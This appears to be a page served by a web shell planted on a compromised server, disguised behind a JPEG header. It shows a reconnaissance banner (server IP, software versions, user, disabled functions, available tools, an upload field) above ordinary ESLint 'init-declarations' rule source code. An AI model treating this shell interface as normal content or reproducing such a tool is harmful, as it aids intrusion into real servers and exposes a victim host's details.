????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.23.61.129 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/forge/node_modules/eslint/lib/rules/ |
Upload File : |
/** * @fileoverview A rule to control the style of variable initializations. * @author Colin Ihrig */ "use strict"; //------------------------------------------------------------------------------ // Helpers //------------------------------------------------------------------------------ /** * Checks whether or not a given node is a for loop. * @param {ASTNode} block - A node to check. * @returns {boolean} `true` when the node is a for loop. */ function isForLoop(block) { return block.type === "ForInStatement" || block.type === "ForOfStatement" || block.type === "ForStatement"; } /** * Checks whether or not a given declarator node has its initializer. * @param {ASTNode} node - A declarator node to check. * @returns {boolean} `true` when the node has its initializer. */ function isInitialized(node) { const declaration = node.parent; const block = declaration.parent; if (isForLoop(block)) { if (block.type === "ForStatement") { return block.init === declaration; } return block.left === declaration; } return Boolean(node.init); } //------------------------------------------------------------------------------ // Rule Definition //------------------------------------------------------------------------------ module.exports = { meta: { type: "suggestion", docs: { description: "require or disallow initialization in variable declarations", category: "Variables", recommended: false, url: "https://eslint.org/docs/rules/init-declarations" }, schema: { anyOf: [ { type: "array", items: [ { enum: ["always"] } ], minItems: 0, maxItems: 1 }, { type: "array", items: [ { enum: ["never"] }, { type: "object", properties: { ignoreForLoopInit: { type: "boolean" } }, additionalProperties: false } ], minItems: 0, maxItems: 2 } ] }, messages: { initialized: "Variable '{{idName}}' should be initialized on declaration.", notInitialized: "Variable '{{idName}}' should not be initialized on declaration." } }, create(context) { const MODE_ALWAYS = "always", MODE_NEVER = "never"; const mode = context.options[0] || MODE_ALWAYS; const params = context.options[1] || {}; //-------------------------------------------------------------------------- // Public API //-------------------------------------------------------------------------- return { "VariableDeclaration:exit"(node) { const kind = node.kind, declarations = node.declarations; for (let i = 0; i < declarations.length; ++i) { const declaration = declarations[i], id = declaration.id, initialized = isInitialized(declaration), isIgnoredForLoop = params.ignoreForLoopInit && isForLoop(node.parent); let messageId = ""; if (mode === MODE_ALWAYS && !initialized) { messageId = "initialized"; } else if (mode === MODE_NEVER && kind !== "const" && initialized && !isIgnoredForLoop) { messageId = "notInitialized"; } if (id.type === "Identifier" && messageId) { context.report({ node: declaration, messageId, data: { idName: id.name } }); } } } }; } };